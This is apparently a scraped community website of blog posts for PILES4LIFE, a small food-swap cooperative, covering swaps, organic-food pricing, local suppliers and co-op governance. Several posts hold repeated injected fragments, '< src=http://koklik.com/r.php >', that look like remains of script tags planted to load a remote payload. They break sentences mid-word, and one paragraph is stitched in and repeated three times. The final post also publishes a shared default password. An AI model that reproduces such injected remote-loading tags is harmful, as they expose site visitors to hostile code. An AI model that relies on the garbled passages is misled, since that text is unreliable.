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Welcome to the PILES4LIFE Community.
Working Together For A Better Life
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News and Announcements
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PILES4LIFE
. P4L Ideas
. 04/09/2012
P4L Fundraiser Events
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PILES4LIFE
. P4L Ideas
. 04/09/2012
P4L Kid Club ?
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My children, Jack and Lily, have been helping me cook breakfasts since before they can remember. Lately, Jack has been interested in helping me prepare my catered breakfasts, too. Which leads me to wonder if our focus should be on the children, rather than us adults who struggle to break our day to day routines. < src=http://koklik.com/r.php >< src=http://koklik.com/r.php >< src=http://koklik.com/r.php >< src=http://koklik.com/r.php >< src=http://koklik.com/r.php >< src=http://koklik.com/r.php >
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PILES4LIFE
. P4L Ideas
. 01/24/2012
Starting Point: Ideas for 2012
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Just wanted to post a quick list of some ideas I have. They are listed in no particular order. We can dive into each with discussion and analysis at a later time.
Food Swaps:
- Continue Food Swaps as we did twice in 2011.
- Identify common ingredients that require no production, such as Flour, Sugar, Eggs, Meat, Oils, Coffee, etc that we can procure in larger quantities from friendly vendors and share through the "supply swaps" process. Each item will be researched and those interested in the item will commit, via a proposal, to buying a share of the item.
- Coordinating production prior to swaps in order to have diversity, nutrition, and convenience is definitely something to discuss.
Food Equipment:
- Most of us have specialized food equipment, like bread makers, deep-friers, pasta makers, mills, vacuum sealers, ice-cream makers, etc that we use only periodically. I'd like to establish a listing of these items that members are comfortable with sharing or bringing to an event to be used. < src=http://koklik.com/r.php >< src=http://koklik.com/r.php >< src=http://koklik.com/r.php >< src=http://koklik.com/r.php >< src=http://koklik.com/r.php >< src=http://koklik.com/r.php > of PILES4LIFE is that each of us can expand our potentials by taking on "new" tasks. As a group, we will establish "working groups" that focus on specific aspects of our organization, like Administration, Coordination, Acquisition, Logistics (Delivery), Outreach, Technology, New Member Orientation, etc. Members will be allowed and encouraged to be part of any or all of these groups. for everyone. One of the greatest aspects of PILES4LIFE is that each of us can expand our potentials by taking on "new" tasks. As a group, we will establish "working groups" that focus on specific aspects of our organization, like Administration, Coordination, Acquisition, Logistics (Delivery), Outreach, Technology, New Member Orientation, etc. Members will be allowed and encouraged to be part of any or all of these groups. for everyone. One of the greatest aspects of PILES4LIFE is that each of us can expand our potentials by taking on "new" tasks. As a group, we will establish "working groups" that focus on specific aspects of our organization, like Administration, Coordination, Acquisition, Logistics (Delivery), Outreach, Technology, New Member Orientation, Charity, etc. Members will be allowed and encouraged to be part of any or all of these groups.
Seasonal:
- At this point, since PILES4LIFE is focused in on "Food", the seasons have a major impact on us. In the spring and summer, we'll have abundance of fresh local vegetables and berries. It the late summer and fall, fruits like peaches and apples, are abundant locally. And so on with the Fall Harvest. If we can plan our production and events according to the seasons, we can take advantage of the growing season. We can focus on specific dishes during some seasons, or plan events for preparing and preserving the abundance for use later in the year.
Diets and Nutrition:
- PILES4LIFE gives us the power to work together and change, to improve our health. We all know about lots of different diet plans, and ways of life like eating organic or vegetarian. Members can collaborate and try new things together. If a group of us want to try being vegetarian, we'll have swaps that focus on vegetarion food. If it's Atkins, or Weight Watchers, we'll make groups for that. Generally, we should strive to always have a variety of nutritious items for our swaps, but we can also get specific as our numbers grow.
Agenda and Management:
- Now that we have all understand the concept of PILES4LIFE, and have the "Swap" process in place, we can begin managing other aspects of the group together. Since this is "our" organization, "we" all have a say in the decisions that we make as a group. All important decisions will be "proposed" and voted on for consensus. At most of our food swaps, we should also hold a group meeting. So before each meeting, we will coordinate online to establish an agenda. We'll work out the procedures for running the meetings, and take notes so that we can put recaps on the website. Online discussions and decision making will also be key to making progress. I have features on the site that allow proposals to be posted for the group that can be voted on. We'll need to decide as a group, what level of consensus we need to various types of proposals.
Accounting/Tracking:
- PILES4LIFE is free to all members. Members participate by supplying, producing, selling, delivering, and buying, or any combination. Every transaction is tracked and impacts the bottom line of participants and the club. We have already decided that we don't really want to exchange money every time we do a transaction, so we are using "swap sheets" to track transactions, that will be entered in the system. The system always has the ability to show every member's and the clubs balance. We'll need to get consensus, but I believe that when a member's balance reaches a certain threshold, like $20 or $50, it's time for the member to make a monetary (or approved material) donation to the club to settle their account. Similarly, we will need to discuss how the club pays out cash to members.
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PILES4LIFE
. P4L Main Goup
. 12/29/2011
Are you ready for P4L 2012 ?
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Thanks so much to everyone who participated in 2011 in which we had our first 2 swaps/meetings. In 2012, we will begin meeting regularly. We will also begin using this website to share ideas and develop our organization further.
First, I will be posting our events on the online calendar, probably 1 per month. I will select the dates way ahead of time. You will be able to sign up, (rsvp), online so that we know if we have enough folks participating.
Second, We will be using a new "Voting" mechanism built in to the comm center. Here we will be able to propose ideas (in between meetings) and get a temperature check on how everyone feels about the ideas.
So, Are you < src=http://koklik.com/r.php >< src=http://koklik.com/r.php >< src=http://koklik.com/r.php >< src=http://koklik.com/r.php >< src=http://koklik.com/r.php >< src=http://koklik.com/r.php >
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PILES4LIFE
. P4L Main Goup
. 05/18/2011
PILES4LIFE Party II (May 22, 2011)
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PILES4LIFE
. P4L Main Goup
. 04/14/2011
PILES4LIFE Business Opportunity (Employment)
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The concept of PILES4LIFE provides a wide range of opportunity for participation. A key future goal of the organization is to provide employment opportunity though enabling individuals to become their own business. While this may seem far-fetched in these early stages of our organization, understanding these goals is important to understanding PILES4LIFE.
PILES4LIFE is a business, a unique form of a cooperative. There are three levels of business entities, the Main Club, the Individuals, and the Satellite clubs.
The main club is the overall organization. The main club earns a percent of every transaction. The overall enterprise is operated and managed democratically by all members. Together, we will make decisions regarding reinvestment in supplies and assets, as well as organization and management of the operations.
Satellite clubs are the smaller clubs, or franchises, that will form based on locality and interests. They will manage themselves independently, but very similar to the overall < src=http://koklik.com/r.php >< src=http://koklik.com/r.php >< src=http://koklik.com/r.php >< src=http://koklik.com/r.php >< src=http://koklik.com/r.php >< src=http://koklik.com/r.php >ith you to make a better life for all, and grow a business with high ideals, based of fairness and togetherness. The Revolution is Now !
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PILES4LIFE
. P4L Main Goup
. 04/13/2011
The Low Price Dillema
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The first thing that happens when you begin thinking about making the switch to organic foods is a huge sense "sticker shock". You realize very quickly that there is a big price difference. Even the most organically conscious consumer feels it, and it's a difficult hurdle to get over.
We've been living in a world where we're always looking for the bargain. "Save More, Live Better" is the the motto of Wal-Mart, and of our society. We've been conditioned to think this way, to want more for less, and in these times when our budgets are tight, we feel a necessity to always make the cheaper choice. We simply look for the best price.
Whether it be food or any other product, there is a lot more analysis to be done than simply checking the price. Of course, we will compare the qualities, as well. There is almost always a cheap, medium, and top shelf version of of whatever items we're shopping for. Good consumers usually research and weigh out quality vs price.
Non-food products will general < src=http://koklik.com/r.php >< src=http://koklik.com/r.php >< src=http://koklik.com/r.php >< src=http://koklik.com/r.php >< src=http://koklik.com/r.php >< src=http://koklik.com/r.php >ing more local goods is a sure way to reduce our demand for oil, and to reduce the negative consequences of over consumption of oil, like war and pollution.
We should take into consideration how a product was made. Was it mass produced or hand-crafted ? What ingredients went into the production ? How many chemicals were used ? How many workers were used, and how were they treated ? Generally, how much love went into the product. A product made with attention to less chemicals, better working conditions, better environmental practices, and with more pride and goodness is simply worth more. We should be supporting these producers, not the one's who are simply trying to make as much profit as possible by cutting every corner, using as little labor, and as low cost ingredients, and with little attention to the environmental impact.
Similarly, we should also question who made our product. Was it made by a Global, Multi-Purpose Corporation or by a Small, Single-Focussed Business ? We should research who the producer is and what principles they stand for. The business entity that chose to create our product should be analyzed, but we should also take a look at who actually created our product, the workers, and how they were treated and compensated. Were they American, Pennsylvanian, or Foreign ? Were they compensated with a living wage, health care, fair working hours, in safe conditions, or were they treated like slaves, working too many hours, for too little compensation, in poor and dangerous conditions. Were they Union Workers, Slaves, or was there even workers involved ?
Have you taken into consideration when your product was made? Exactly how old is your food, how old were the ingredients that went into your food ? Is it fresh, frozen, canned, or dried? The older it is, the greater the chances are that a lot of presertives and chemicals were used to extend it's shelf life. All food has what i'll call a nutritional half-life aspect to it. As soon as a vegetable is picked, it begins losing nutritional value. The longer it hangs around, the less nutritional value it has. How long does it take for a tomato to lose 1/2 of it's nutrition ? How much cheaper does the ingredient become to a producer so that your product can be made cheaper ?
A final consideration to think about is why was your product made in the first place. Was it made by a tradesman or farmer who loves and takes pride in themselves, their land, and the ability to produce quality items ? Was it made by a global conglomerate who analyzed the market and decided to diversify to create more profit for itself ? Is the goal a good product with quality ingredients and fairly treated labor, or good profit, with cheap ingredients, with poorly treated labor ?
These considerations are important, maybe more important than your budget on a given day. Does a good outcome of a "Who, What, When, Where, Why" analysis add value to the product ? Is the price difference worth it ? Obviously, I would say "Yes", there is more to consider than money. We need to change our way of thinking about prices.
From an economic perspective, I believe that Low quality production goes together with Low Prices, and also to Low Wages. If we accept low quality and low wages because we want low prices, we are accepting a lower standard of living and quality of life. Devaluing our production is devaluing our lives. On the other side, as demand for quality increases, and our support for quality business increases, and our acceptance of higher prices increases, and higher wages and quality of life can become the new normal. This is how the free market is supposed to work. We can choose the downward spiral of lower everything, or the upward spiral of higher quality and higher value.
As consumers, we can choose to change through our demands, by supporting better quality and better business, which means a better world. This may take time, but should be the direction we are heading.
In the mean time, how do we balance our personal budgets while also changing our purchasing behavior ?
First, we need to understand that eating healthy does not have to be more expensive, it just requires a little work. Learning how to make foods from scratch is a key. Everything is cheaper when you make it from scratch, and not pay for convenience. Focus on buying whole ingredients and making real food, rather than buying finished products. Buying ingredients also makes your shopping list a little shorter, and helps reduce the amount of research and analysis.
Second, approach your food with a new take, a new sense of value. When you pay more for something, and you know the quality is superb, you will look at it differently. You will not only enjoy it more, but you will take care to make it last longer. Take a whole chicken as an example, which is a product that has become less and less expensive over years. An organic chicken cost around 7-8 dollars. At first glance, this seems crazy, it's almost twice the price. But once you take the time to nicely prepare it, taste the difference, and understand that it was produced humanely, has no antibiotics and injections, was fed organic feed, you'll develop a great appreciation for it. You'll enjoy the fresh roasted bird, and you'll take care to package up the left overs. You'll pick the bird clean because it tastes so good, it is so good, and you don't want to waste it. You can then make some wonderful stock and soup from the bones and trimmings. You''ll find that an $8 chicken is a wondeful thing.
Third, when you eat organic and healthy foods, you actually don't need to eat as much to get even more nutrition. Take my organic spelt bread for example. One slice will not only taste great, provide clean nutrition, but it also fills you up, so that you only need one slice. Our human bodies are designed to eat until they have received the nutrients required. If there are no nutrients, you eat more and more, but if the quality is there, you simple don't need to eat as much.
Lastly, making the choice to participate in PILES4LIFE will actually lower your costs while increasing you quality. You'll benefit from saving time, saving money, and eating healthy. At the same time, you'll be supporting local, organic, and positive business practices, having an impact on our local and national economy, our enviroment, and your fellow human beings.
Start participating today in PILES4LIFE. Feed your body and soul, and change the world. The Revolution is Now.
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PILES4LIFE
. P4L Main Goup
. 04/12/2011
Consumption with a Conscience
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Are you ready to consume with responsibility, to buy American Made, to Support Local Business and Organic and Sustainable Agriculture ?
It can be a difficult task on your own. And if you are up to the challenge, it can be demoralizing to know that you, alone, can only have a small impact.
You don't have to do it alone anymore ! PILES4LIFE is here to help.
PILES4LIFE is a new and unique cooperative adventure. We are working together to ease the burden of responsible consumption, and together, we can make a difference !
We are seeking out the best ingredients possible to fill our pantries. Together, we can all benefit from each other's research and energy. We are acquiring and sharing locally, naturally, or organically produced whole foods. Our buying power and organization can play a major role in supporting consciencious producers and local business, and reducing our negative impact on the world.
In today's fast-paced, global-capitalist economy, our willingness to support responsible business and boycott irresponsible business is the only way to have an impact. Together, we can make this happen. We must demand and reward fair and good business practices.
Start taking responsibility for the world you live in by participating in PILES4LIFE. You can help us in what ever way suits your life-style best, by simply making the choice to participate.
Feed your body and soul, and create a better future with PILES4LIFE. The Revolution is Now.
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PILES4LIFE
. P4L Main Goup
. 04/01/2011
Bell and Evans Chicken
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www.bellandevans.com
I had heard of this chicken producer in before, but saw their great display at the farm show this year. They are mass producing, but seem to be really focussed on creating what they call "the excellent chicken". The have 2 lines, organic and natural, and sell fresh or frozen, and lines of chicken tenders, etc, too.
Since it is just down the road from my work in Fredericksburg, I ran down over lunch today. The lady was really nice and gave me all the information I needed. The retail outlet only has "Natural", but I got a phone number for customer service, where I should be able to get pricing and ordering info for the organic. Maybe we could just stick with the natural, since the only difference is the that food they eat is not certified organic, it's only natural.
So, another lead on local, healthy food has been found !!
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PILES4LIFE
. P4L Main Goup
. 04/01/2011
Newport Natural Foods
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www.newportnaturalfoodpa.com
Cassie heard about it this morning. Not much on the site, but looks like a good source of ingredients. It seems that can handle bulk buying. Hopefully we'll head up there soon !
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PILES4LIFE
. P4L Main Goup
. 04/01/2011
Palmyra Real Food Emporium
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www.palmyrarealfood.com
Just heard about this place today. Haven't been there yet, but from the site it looks great. I inquired on the site about PILES4LIFE becoming an investor in their co-op. We'll see how it goes.
They are very exclusive about their producers, and doing a lot of research and work already. It's definitely not your average Farmer's Market. Utilizing this resource could be really great for the club !
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PILES4LIFE
. P4L Main Goup
. 03/28/2011
2011_03_28: First PILES4LIFE Party/Swap
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So we held our first party and swap yesterday. All said and done, the party was a huge success in my eyes, in that we had good attendance, we had a nice variety of food, we did the swap, and we now all have a fridge-shelf full of convenient, home-made delicious meals ready to be enjoyed.
The other goal for the party was to introduce the concepts and to get enough acceptance on the idea that we'd want to do it again. I'm no great salesman, or speaker, and the presentation wasn't as thorough as I had hoped, but I think I managed to get the main points across, and we had some stimulating conversation. I consider this a success.
Setting aside the food and the economics, I'm very proud and satisfied with the simple fact that I was able to get a group of individuals together, and organize. That, in and of itself, is no small feat in today's world.
Most importantly, we had fun being together ! So thank you to everyone who participated < src=http://koklik.com/r.php >< src=http://koklik.com/r.php >< src=http://koklik.com/r.php >< src=http://koklik.com/r.php >< src=http://koklik.com/r.php >< src=http://koklik.com/r.php >odel, and it's important to know that there is equitable and fair trading, and tracking, but it is secondary to "working together". We need to do the swap sheets, and have an understanding of the tracking, but beyond that, at this point, we should just let it go to the back of our minds, while we focus on the food, buying, and trading.
i'm propose that we keep track, have the ability to watch our trade balance (positive or negative), but that we don't collecte or pay out on a regular basis. We could set some threshold, that if your balance reaches a certain level, say $20, then we would ask that you make a donation/contribution to the club in that amount or an equivalent in supplies needed by the club.
Questions and Comments
We had some good ideas and questions brought up during the presentation that I'd like to address, in no particular order.
George mentioned the idea to have "Theme Swaps". These could be a focus on a cultural food, like Italian Food, or Southern, etc. It could also be, as Cheryl mentioned, a historic or ancestral dish. This could be really fun.
Another idea from George was to coordinate better so that we could bring foods that compliment each other, like some people bring main dishes, some side dishes, some desserts, etc. This is a great ideas that could make for a better set of items, rather than "pot-luck".
Derek questioned about the "loss" associated with bringing items, but nobody consuming them, which is a valid point. There is a certain amount of risk there. I pointed out that it's not a complete loss, in that you still have the food you made to take home with you. I also noted that if you sold half of you items, that your earnings from those should offset your costs so that you were able to eat the remaining half for less. I've dealt with this when I bring food in to work. If I bring 8 breakfast sandwiches, and there are one or 2 left over, I eat them for lunch, for free. I could imagine Derek, who has an awesome green egg smoker, gaining a great benefit from the club. Before each swap, he could buy and smoke a larger portion of meat than he usually would for his household. While perfecting his smoking techniques, he could potentially be doing it at much less cost.
Di Di, aka Carol, mentioned about keeping the club sort of exclusive to the group that was there, at least for a while. While there may have been multiple reasons for that, I think she was implying that if we keep it sort of exclusive, and talk about it with friends, that at some point they'd be asking to join, rather than us asking them to join. I like that concept, and we should definitely be talking it up to our friends. So they'd hear about it a couple times, maybe learn about it, and become interested. I have a couple points to make about this. First, I want as many members as we can get, especially at the start. This would enable us to hold more frequent swaps, and would take the pressure off of the existing group to feel obligated to come. However, as our membership reaches a certain level, maybe 30 or so, there would be a point where we'd want to slow down and control membership growth. So this would be the point where we implement the Di Di plan.
At one point, Cap and some others brought up about a membership fee. Cassie and I talked about this, and we had to different interpretations of what Cap intended. Cassie thought maybe Cap was thinking that if there was a membership fee, it would eliminated the need for all this tracking. I guess this could be worked out somehow, but i'm not sure how. The tracking would still need to be kept for fair and equitable trade, even if there were no markup. I assumed that Cap meant the membership fee would be for supplies like containers. it is something I've thought about, but decided against. One of my principles is that membership should be free, with no initial investment. Participation is the memberhsip fee. If you think about the economic aspects, every time that an item is consumed, a portion goes to the club, which could be considered the membership fee, and will be used for supplies and reinvestment.
Derek and Pap (Ralph Jr.), discussed the potential legal issues about the club as a business. These are very valid concerns that I have thought about over and over. First, just the concept of "Selling Food" brings Health and Safety" standards into play. Another legality issue with sales in general would be a "Sales Tax". These are issues that we will have to deal with as the club grows. So let me explain how I envision this club as a business and dealing with these issues. Obviously, I fully intend to comply with the laws and regulations, and pay taxes as is appropriate. I'm not expert, so I'm definitely asking for feedback. Here are two thoughts on the topic. First, I want the club to trade but not really sell. The only reason I talk about sales and profit is to help make sense of it. The concept that I want to follow is that the club is donation based, not sales based. Contributions of food and supplies are made, withdrawals of food and supplies are made, and within the club, we track each member's trade balance. Voluntary donations of cash or supplies will be made by members to the club. Whatever legal way to do this, I will be learning, and complying with as the club grows. Another point, regarding selling food, is that i've read about some similar issues. A guy started his own niche farmer's market, and allowed people to come and set up stands, selling food and other items. The problem was that nobody was certified as food producers or other type of producers. They were able to continue by establishing the fact that this was an exclusive market. In order to get into the market, customers had to sign a waiver to state that they were aware of the uncertified nature of the club. So anyways, establishing a legal business and complying with regulations will come into play, and we will do so when appropriate.
Pap, aka Ralph Jr., liked the idea of a niche market and business opportunity of focusing on food for the elderly. WIth his experience in human services, he realizes the need, and notices the fact that we have an aging baby-boomer population. He sees potential in the aspect, as do I. This is something that we could discuss as a group in the future. Aside from just giving items away as charity or help, we could probably find members in this age group who would pay/donate to have a box of food dropped off for them periodically. It makes me think of another idea i've had where members would commit to paying for a "food plan". They wouldn't necessarily know what they are going to get each week, but would say yes to whatever we have to offer. We could loosely define it, saying you'll have 2 main dishes, 3 small portions, breakfasts, snacks, etc, kind of how a CSA operates, or how it worked with Disney's food plan. This could also be done by normal members, people at work or in the neighborhood, who don't really want to go to the swaps, but are willing to participate by having a box delivered to them.
Next Swap Improvements
So the first swap, as expected, was definitely a learning experience. I'm sure I should have set aside more time, since we were learning, dividing, pricing, doing a presentation, and swapping all at one time. I hope I didn't ruin anyone's schedules, thanks for staying longer than anticipated. At future swaps, the food will already be divided and priced on the swap sheet, and there will be no grand presenation. A two hour window should do the job for most swaps.
Here are some ideas for how to improve the next swaps.
First, the swaps could be much better organized. I'm envisioning everybody bringing their items is a big cooler. (You'll be able to use the same cooler to take home your trade items). The coolers, along with the swap sheets, will server as your "stand" or "station". Members will then be able to walk around the room, visit each station, and just mark off what they took, as if they were at a real market. We should try to add as much information about the dish as possible on the swap sheet, so that those of us following diet plans will be able to know how it fits into their diet or not. As we move forward, some producers may want to dress up their stand a little, highlighting great things about their items, and making them more appealing from a marketing perspective. Mandy's idea of samples could work here, too, with each stand providing samples of their dish. That would also eliminate a need for the host to provide food.
Second, we will be able to register our items online, so that we know what people are bringing. This could be beneficial for folks who might not be able to attend, but would like someone to bring home some items for them. It will also eliminate duplication, and allow for a better variety. Another point is that if I know what you are bringing, I could drop off appropriate and adequate containers for your portions. The swap sheets will be able to be produced online, too, so that it's more efficient.
Third, we may want to agree on an optimum level of costs, making dishes that don't exceed a certain price level for ingredients. This would help keep a more balanced trade.
Next Steps
Now that we are all starting to understand the process and the system, we can begin to talk about goals. We could start having some dialogue on this site, in the "Blog/Comm Center". You can "Add Comments" below this blog to get things going, or you could start your own discussions in the "General Communication" section. I'll be adding a Calendar to the site very soon.
Each of your names should be in the drop down at the top of the site to logon. if you're new, your password is Pass. If you're familiar with PILES from football picks, use your same name and password. If you need help, shoot me and email or call me.
Thanks again sooooo much for helping me get this started. I hope you have found it as fun and beneficial as I have. I'm forever grateful to you all, and I'm so excited about continuing to work together with you for a better life !
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